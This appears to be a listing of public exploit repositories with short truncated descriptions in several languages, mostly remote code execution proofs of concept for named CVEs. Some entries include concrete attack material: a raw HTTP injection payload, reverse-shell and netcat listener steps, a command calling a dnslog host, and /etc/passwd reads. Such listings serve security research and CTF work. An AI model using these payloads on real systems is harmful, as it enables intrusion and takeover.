CVE-2022-22947

Spring Cloud Gateway Example: python3 exploit.py http://localhost:8080 'id'...

CVE-2021-21425-RCE

esta es mi versión, encontré muchas en internet pero son demasiado malas USO python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 espera... en 60 segundos obtendrás una shell en tu listener...

CVE-2022-22954-PoC

CVE-2022-22954 PoC VMware Workspace ONE Access and Identity Manager RCE via SSTI. CVE-2022-22954 - PoC SSTI Usage: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file | manual -i IP,...

CVE-2026-38427

CVE-2026-38427: Envoltura de enteros → Desbordamiento de búfer en el montón en Tasmota fetchjpg CVE: CVE-2026-38427 Gravedad: Crítico CVSS 9.8 Producto: Arendst Tasmota Versión afectada: = 15.3.0.3 Archivo: tasmota/tasmotaxdrvdriver/xdrv10scripter.ino Función: fetchjpg — caso 2 obtención de trama...

Modified-CVE-2015-3306-Exploit

Modified-CVE-2015-3306-Exploit Cómo usar 1. Crea una reverse shell en PHP 2. Inicia un servidor para alojar la shell en el mismo directorio python3 -m http.server 3. Inicia un listener de netcat en el puerto local que elijas, por ejemplo: nc -nlvp port of choice 4. Ejecuta el exploit con el ejemp...

CVE-2024-29973

CVE-2024-29973 GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Language: en-US,en;q=0...

CVE-2023-41425-RCE-WonderCMS-4.3.2

🚨 WonderCMS RCE Exploit Tool CVE-2023-41425 This Python-based offensive security tool automates the exploitation of a Remote Code Execution RCE vulnerability in WonderCMS 4.3.2 , specifically CVE-2023-41425. It streamlines the process of crafting a malicious ZIP theme module and delivering a...

CVE-2025-32433

CVE-2025-32433 Erlang/OTP SSH RCE EXP Description A serious vulnerability has been identified in the Erlang/OTP SSH server that may allow an attacker to perform unauthenticated remote code execution RCE. By exploiting a flaw in SSH protocol message handling, a malicious actor could gain...

CVE-2020-8515

CVE-2020-8515 Draytek CVE-2020-8515 PoC 我早就写好的。 有趣的是，注入的命令会被执行两次，看这里： $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST...

CVE-2021-42013-Apache-RCE-Poc-Exp

Vulnerability Name Apache Remote Code Execution CVE-2021-42013 Vulnerability Description Apache HTTP Server is an open-source web server from the Apache Software Foundation. It is fast, reliable, and extensible via a simple API. It was discovered that the fix for CVE-2021-41773 in Apache HTTP...

SubrionCMS-4.2.1-File-upload-RCE-auth-

SubrionCMS-4.2.1-File-upload-RCE-auth- This is an edited version of the CVE-2018-19422 exploit to fix an small but annoying issue I had. I had to use this exploit in a CTF but I could not get it to properly exploit, just kept failing to login. After an unholy amount of time I finally figured out...

CVE-2025-57819-poc

CVE-2025-57819 — FreePBX Unauthenticated SQLi → RCE One-shot exploit for the FreePBX Endpoint Manager unauthenticated SQL injection CVE-2025-57819, chained into remote code execution via the FreePBX cronjobs table. For authorized security testing / CTF use only. Vulnerability The endpoint module'...

unrealircd-backdoor-pentest-report

🛡️ Prueba de Penetración del Backdoor de UnrealIRCd Un proyecto controlado de pruebas de penetración centrado en identificar, explotar y remediar el backdoor de UnrealIRCd 3.2.8.1 CVE-2010-2075 en un entorno de entrenamiento aislado. Descargo de responsabilidad: Este proyecto se llevó a cabo...

CVE-2022-34718-PoC

CVE-2022-34718 IPv6 Remote Code Execution exploit sample This repository contains an exploit of CVE-2022-34718, a Remote Code Execution RCE vulnerability in IPv6 on Windows systems. How to Since the vulnerability requires specially crafted IPv6 packets, it depends on the Scapy module and therefor...

CVE-2024-24945-NGINX-RIFT---TryHackMe-Lab-Walkthrough

CVE-2024-24945-NGINX-RIFT---TryHackMe-Lab-Walkthrough This lab demonstrates the exploitation of CVE-2024-24945, a heap corruption vulnerability affecting NGINX. The objective was to understand how memory corruption can lead to Remote Code Execution RCE and gain practical experience in exploitatio...

CVE-2019-11581

CVE-2019-11581 Atlassian JIRA 模板注入漏洞 RCE 演示 python CVE-2019-11581.py http://xx.xx.xx.xx:8080/ "Command" 受影响版本下载 https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe Poc...

CVE-2021-30461

CVE-2021-30461 VOIP RCE Technical details https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/ YouTube : https://www.youtube.com/watch?v=9VBI6Lq-Rw Follow us Vulnmachines YouTube Twitter Facebook LinkedIn...

CVE-2021-25646

Apache Druid Ejecución Remota de Código CVE-2021-25646 por j2ekim Modo de uso python exp.py -u --url -c --command python cve-2021-25646.py -u http://127.0.0.1:8888 -c "ping 5ap7ta.dnslog.cn" Artículo sobre la reproducción de la vulnerabilidad https://www.adminxe.com/2109.html Aviso de uso Cualqui...

CVE-2026-6992-PoC

CVE-2026-6992-PoC Prueba de concepto de vulnerabilidad para la inyección de código arbitrario por Bluetooth CVE-2026-6992, reelaborado desde https://github.com/utmost3/cve/issues/2. No me atribuyo crédito por el descubrimiento de la vulnerabilidad. Esto es solo con fines educativos y de portafoli...

dubbo-rce

CVE-2023-23638 For learning and research purposes only. ZooKeeper is required. The test environment is Java 8. Other versions have not been tested and usability is not guaranteed. During reproduction, you need to add the VM parameter to DemoComsumer: -Ddubbo.hessian.allowNonSerializable=true. For...